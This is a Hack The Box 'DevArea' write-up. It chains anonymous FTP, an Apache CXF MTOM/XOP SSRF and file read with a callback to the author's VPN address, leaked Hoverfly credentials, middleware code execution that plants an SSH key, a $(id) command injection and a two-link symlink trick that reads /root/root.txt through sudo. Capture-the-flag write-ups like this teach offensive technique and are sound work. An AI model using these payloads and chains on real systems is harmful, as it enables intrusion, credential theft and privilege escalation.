projet / 2026

HTB DevArea: from a leaked JAR to a two-link root read

A Hack The Box DevArea write-up covering anonymous FTP, Apache CXF MTOM local file read, Hoverfly middleware execution, and a SysWatch symlink validation flaw.

Hack The BoxWeb securityJavaSSRFLinux privilege escalation

Target: 10.129.43.185
Machine: DevArea
Difficulty: Medium
OS: Linux
Result: user and root owned

This box did not start cleanly. The final exploit chain looks tidy in hindsight: anonymous FTP exposed a Java service, Apache CXF MTOM gave SSRF and local file read, Hoverfly middleware gave a shell, and SysWatch fell to a symlink validation mistake. But the actual path was much less linear. There was target selection friction, VPN trouble, dead enumeration, bad assumptions about XXE, a failed plugin write, and a few points where the right move was to stop pushing the obvious idea and ask what the machine was already telling me.

That is the part worth writing down. The exploit primitives mattered, but the solve mostly came from following evidence and not getting too attached to the first plan.

Getting a Machine Running

I decided to take on the DevArea machine for this time. It spawned properly and gave me:

10.129.43.185

The VPN also cost a few minutes. The HTB OpenVPN profile failed on Windows because HTB pushed IPv6 options and the local OpenVPN/TAP setup could not apply them:

NETSH: interface ipv6 set address ...
ERROR: command failed
Exiting due to fatal error

The pushed profile included options like:

tun-ipv6
route-ipv6 dead:beef::/64
ifconfig-ipv6 dead:beef:2::1180/64 dead:beef:2::1

The box itself only needed IPv4 reachability, so I copied the VPN profile and filtered the IPv6 pushes:

pull-filter ignore "tun-ipv6"
pull-filter ignore "ifconfig-ipv6"
pull-filter ignore "route-ipv6"

After that OpenVPN initialized, assigned 10.10.15.130, and added the HTB IPv4 routes. This mattered later because that address became the callback host for the MTOM SSRF test.

First Enumeration

Once the target was reachable, the first TCP sweep showed a box with several moving parts:

21/tcp    vsFTPd 3.0.5
22/tcp    OpenSSH 9.6p1 Ubuntu
80/tcp    Apache 2.4.58
8080/tcp  Jetty 9.4.27
8500/tcp  Hoverfly proxy

Port 80 redirected to devarea.htb, so the first adjustment was just making sure requests used the expected virtual host:

curl --resolve devarea.htb:80:10.129.43.185 http://devarea.htb/

The site looked like a static company/dev portal. I pulled down the HTML and CSS, looked for API references, comments, hidden endpoints, obvious credentials, and JavaScript that pointed to backend services. Nothing on the static site immediately moved the solve forward.

I also spent some time on the normal web-enumeration muscle memory: wordlists, paths, and trying to see whether the static site was hiding a second app. That direction did not pay off. The useful question was “which of these open services is leaking implementation detail?”

FTP was more interesting. Anonymous login worked, and /pub contained:

employee-service.jar

That immediately changed the priority. A JAR exposed over anonymous FTP is usually not decorative. Before going deep on it, I checked whether FTP upload was allowed, because writable anonymous FTP sometimes turns into a web shell or a job-processing trick. Upload failed with:

550

So FTP was read-only.

Pulling Apart the JAR

The service was small enough to inspect quickly. Extracting the JAR revealed classes under htb/devarea:

htb/devarea/ServerStarter.class
htb/devarea/EmployeeService.class
htb/devarea/EmployeeServiceImpl.class
htb/devarea/Report.class

The Maven metadata was more valuable than the class list. The pom.xml showed Apache CXF and Jetty:

<cxf.version>3.2.14</cxf.version>
...
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<artifactId>cxf-rt-databinding-aegis</artifactId>
<artifactId>cxf-rt-transports-http-jetty</artifactId>
<artifactId>cxf-rt-bindings-soap</artifactId>

That lined up with port 8080. The service was exposing a SOAP endpoint:

http://0.0.0.0:8080/employeeservice

The WSDL was reachable from the target:

curl http://10.129.43.185:8080/employeeservice?wsdl

The exposed operation accepted a Report object with fields like employeeName, department, content, and confidential, and the submitReport method reflected the submitted content back in the response.

At that point the rough hypothesis was: “This is probably XML parser territory.” SOAP plus reflected content plus an older framework version usually means checking XXE, deserialization, attachments, and parser edge cases.

I also searched around the framework/version combination. The useful research thread was not a copy-paste exploit; it was that CXF, SOAP attachments, MTOM, and XOP have their own parsing path. That search is what kept the failed XXE result from prematurely closing the Java-service lead.

The Obvious XML Attacks Failed

The first SOAP call was deliberately boring. I wanted to know whether I could submit a valid report and observe the response before trying to exploit anything. That worked. The service accepted normal SOAP and echoed the report data back.

The first exploit attempt was plain XXE:

<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
...
<content>&xxe;</content>

That failed with the XML reader rejecting the DTD:

Error reading XMLStreamReader: Received event DTD

This was useful even though it failed. It told me the parser was not going to accept the cheap XXE route. The next idea was to test XOP directly, because CXF SOAP services often support attachments and MTOM:

<content>
  <xop:Include href="http://10.10.15.130:8000/xop-test"/>
</content>

That also failed, but for a different reason. The service expected text inside content, not an arbitrary nested XML element. I had tried to smuggle xop:Include into a normal XML document, but XOP does not work that way. XOP is an optimization format for MIME multipart messages. If the request is not a proper multipart/related MTOM request, the server just sees an unexpected element.

This was the first real pivot in the box. The thing that looked like “XXE failed, move on” was actually “plain XML failed, but the framework and data type still make MTOM worth testing properly.”

MTOM

The successful payload was not a normal XML body. It was a MIME multipart request where the SOAP envelope part declared application/xop+xml and contained an xop:Include reference:

--uuid:1234
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                  xmlns:dev="http://devarea.htb/"
                  xmlns:xop="http://www.w3.org/2004/08/xop/include">
  <soapenv:Body>
    <dev:submitReport>
      <arg0>
        <confidential>false</confidential>
        <content>
          <xop:Include href="http://10.10.15.130:8000/mtom-url"/>
        </content>
        <department>IT</department>
        <employeeName>alice</employeeName>
      </arg0>
    </dev:submitReport>
  </soapenv:Body>
</soapenv:Envelope>
--uuid:1234--

The matching HTTP header was the important part:

Content-Type: multipart/related;
  type="application/xop+xml";
  start="<root.message@cxf.apache.org>";
  start-info="text/xml";
  boundary="uuid:1234"

I started a tiny HTTP server on my VPN address and sent the request. The callback hit:

GET /mtom-url

The SOAP response confirmed the fetch and reflected the fetched body back base64-encoded. A test response body of:

SSRF_OK

came back as:

U1NSRl9PSw==

That was the point where the machine opened up. The vulnerability was not “classic XXE.” It was Apache CXF MTOM/XOP URL-following behavior. With CXF 3.2.14, the parser followed the href, pulled the referenced content, and put it into the Report.content value.

The obvious next question was whether it only fetched HTTP URLs or whether it would also follow file://. It did follow file://.

I wrapped the request in a helper so I could fetch arbitrary URLs and decode the reflected base64 response:

def fetch(url):
    body = f'''--uuid:1234\r
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r
Content-Transfer-Encoding: 8bit\r
Content-ID: <root.message@cxf.apache.org>\r
\r
<soapenv:Envelope ...>
  ...
  <content><xop:Include href="{url}"/></content>
  ...
</soapenv:Envelope>\r
--uuid:1234--\r
'''

Then I started reading local files:

file:///etc/passwd
file:///proc/self/environ
file:///etc/systemd/system/employee-service.service

/proc/self/environ identified the service context:

USER=dev_ryan
HOME=/home/dev_ryan

The service unit added an important detail:

User=dev_ryan
InaccessiblePaths=/home/dev_ryan/user.txt

So the file-read primitive ran as dev_ryan, but the obvious shortcut to the user flag was intentionally blocked.

Looking for What the Service User Could See

At this point I tried the usual local file read sweep: shell history, SSH config, application properties, Apache vhost configs, local logs, and systemd units. Some paths were unavailable or not useful. Others were.

What ended up doing it was to stop thinking only about the Java service and look at the other exposed ports from the initial scan. Port 8500 was Hoverfly, and port 8888 was the Hoverfly admin API locally. External access to Hoverfly was protected, and obvious guesses did not work. But systemd files are exactly where service credentials often end up.

Reading the Hoverfly unit through the MTOM file read gave the credential leak:

/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0

That turned the earlier “interesting but blocked” Hoverfly port into an actual foothold path. Basic auth worked against the proxy on 8500, and the admin API on 8888 issued a JWT when given the leaked credentials:

curl -H 'Content-Type: application/json' \
  -d '{"Username":"admin","Password":"O7IJ27MyyXiU"}' \
  http://10.129.43.185:8888/api/token-auth

The important lesson here is that the SSRF/file read did not need to be code execution. It only needed to answer the question “what secret did the administrator leave in a local-only place?”

Hoverfly as a Shell

Hoverfly supports middleware. That means requests passing through the proxy can invoke external middleware logic. In this machine, middleware execution was enabled, and the admin API let me configure it.

I kept the first test small. The goal was not to get a reverse shell immediately; it was to prove execution context and filesystem write access without making debugging harder. The first middleware wrote a marker:

/tmp/hf_mw_test

Once that worked, the shell path was straightforward. I generated an SSH key locally and used middleware execution to create /home/dev_ryan/.ssh/authorized_keys and append my public key. Then SSH gave a stable shell:

ssh -i devarea_key dev_ryan@10.129.43.185

The user flag was readable from the shell:

[redacted]

That was user owned, but it did not feel like the end of the intended chain. The box had already shown guardrails: user.txt was blocked from the Java service using InaccessiblePaths, and the Hoverfly path required finding service credentials rather than guessing them. I expected root to be another “almost safe” local admin tool.

Sudo Looked Useless, Then Useful

The first privilege escalation signal came from sudo -l:

(root) NOPASSWD: /opt/syswatch/syswatch.sh,
!/opt/syswatch/syswatch.sh web-stop,
!/opt/syswatch/syswatch.sh web-restart

My first reaction was that the deny rules were probably important. They blocked web-stop and web-restart, which implied those actions were dangerous. The rules were exact-argument based, so adding an ignored extra argument bypassed them:

sudo /opt/syswatch/syswatch.sh web-restart ignored
sudo /opt/syswatch/syswatch.sh web-stop ignored

That was interesting behaviorally, but it did not give root. It only proved the sudo policy was brittle. The script itself still needed to contain something exploitable.

I then looked at SysWatch as an application rather than only as a sudo command. /etc/syswatch.env exposed:

SYSWATCH_SECRET_KEY=...
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026

The local Flask app listened on:

127.0.0.1:7777

The login worked with the admin password, then I used the leaked Flask secret to forge a session cookie.

The vulnerable route was /service-status. In the extracted source it looked like this:

SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
...
res = subprocess.run(
    [f"systemctl status --no-pager {service}"],
    shell=True,
    capture_output=True,
    text=True,
    timeout=10,
)

This is a bad combination: a string is interpolated into a shell command, shell=True is enabled, and the input filter tries to deny bad characters rather than define a small safe grammar.

The filter blocked slashes, dots, uppercase letters, and several metacharacters. But it did not block $, (, or ), so command substitution survived:

service=$(id)

Posting that to /service-status executed id as the syswatch user. That gave command execution, but not root. I still needed to connect syswatch execution to the sudo entry for /opt/syswatch/syswatch.sh.

The Failed Plugin Plan

The first root idea was plugins. SysWatch had a plugin directory:

/opt/syswatch/plugins/

and the sudo script could list or execute plugin-related functionality. If syswatch could write a plugin and dev_ryan could make root execute it through the sudo script, that would be a clean privesc.

So I staged a small Python payload through the command injection:

import os

open('/tmp/syswatch_who','w').write(str(os.getuid())+' '+str(os.getgid()))
try:
    open('/opt/syswatch/plugins/pwn_test.sh','w').write(
        '#!/bin/bash\nid > /tmp/pwn_test_root\n'
    )
    os.chmod('/opt/syswatch/plugins/pwn_test.sh', 0o755)
    open('/tmp/syswatch_write_result','w').write('ok')
except Exception as e:
    open('/tmp/syswatch_write_result','w').write(repr(e))

That failed:

PermissionError(13, 'Permission denied')

This was a useful dead end. It proved the command injection was real, but it also proved the direct plugin-write path was not available. The temptation at this point is to keep trying variants of the same idea: different filenames, different plugin paths, different ways to write. But the permissions were the answer. syswatch could not write plugins. The next target had to be something syswatch could write.

The setup script showed the intended ownership split:

chown -R syswatch:syswatch "$OPT_DIR/logs"
chmod 755 "$OPT_DIR" "$OPT_DIR/plugins" "$OPT_DIR/config" "$OPT_DIR/syswatch_gui"

So plugins were not writable, but logs were.

Reading the Sudo Script Like an Attacker

The root path was in the log viewer. The script allowed non-root users to view logs, but under sudo it ran as root. Its symlink handling tried to be safe:

if [ -L "$path" ]; then
    target=$(ls -l "$path" | awk '{print $NF}')

    if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
        echo "[Blocked unsafe symlink target]: $file -> $target"
        return 1
    fi

    if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
        resolved="$LOG_DIR/$target"
        if [ -f "$resolved" ]; then
            cat "$resolved"
            return
        fi
    fi
fi

At first glance, that seems to block the obvious attack. A symlink like:

chain.log -> /root/root.txt

would be rejected because the target contains /.

But the validation only looked at the first symlink target. It allowed a symlink target if it was a safe relative filename. Then it built:

$LOG_DIR/$target

and ran:

cat "$resolved"

It did not check whether $resolved was itself another symlink.

That suggests a two-link chain:

/opt/syswatch/logs/chain.log -> rootlink
/opt/syswatch/logs/rootlink  -> /root/root.txt

The first link target is just rootlink, which matches the allowlist. The second link points to /root/root.txt, but the script never validates that second hop before cat follows it as root.

Because the logs directory was writable by syswatch, I used the Flask command injection to create the two symlinks:

import os

base = '/opt/syswatch/logs'
for p in [base + '/rootlink', base + '/chain.log']:
    try:
        os.unlink(p)
    except FileNotFoundError:
        pass

os.symlink('/root/root.txt', base + '/rootlink')
os.symlink('rootlink', base + '/chain.log')
open('/tmp/symlink_result','w').write('done')

Then from the dev_ryan shell, I invoked the log viewer through sudo:

sudo /opt/syswatch/syswatch.sh logs chain.log

The script saw:

chain.log -> rootlink

accepted it as a safe relative target, and then cat "$LOG_DIR/rootlink" followed the second symlink to /root/root.txt.

Root flag:

[redacted]

The Final Chain

The finished exploit path was:

  1. OpenSource was VIP-only and Logging stayed stuck spawning, so I switched to DevArea.
  2. OpenVPN failed on Windows because pushed IPv6 settings could not be applied, so I filtered those pushes and kept IPv4.
  3. TCP enumeration found FTP, SSH, Apache, Jetty, and Hoverfly.
  4. Anonymous FTP exposed employee-service.jar; FTP upload failed, so the JAR became the lead.
  5. The JAR showed Apache CXF 3.2.14 with a SOAP service on Jetty.
  6. Plain XXE failed because DTDs were rejected.
  7. Inline xop:Include failed because it was not a proper MTOM request.
  8. A valid multipart/related MTOM request made CXF follow xop:Include URLs.
  9. HTTP callbacks proved SSRF, and file:// turned it into local file read as dev_ryan.
  10. Direct read of /home/dev_ryan/user.txt was blocked by systemd InaccessiblePaths.
  11. Reading systemd units exposed Hoverfly credentials.
  12. Hoverfly middleware execution wrote an SSH public key for dev_ryan.
  13. SSH as dev_ryan gave the user flag.
  14. sudo -l exposed a brittle SysWatch sudo rule.
  15. SysWatch Flask had command injection through service=$(id).
  16. Writing a plugin as syswatch failed with PermissionError.
  17. The writable log directory plus flawed sudo symlink validation allowed a two-link chain to /root/root.txt.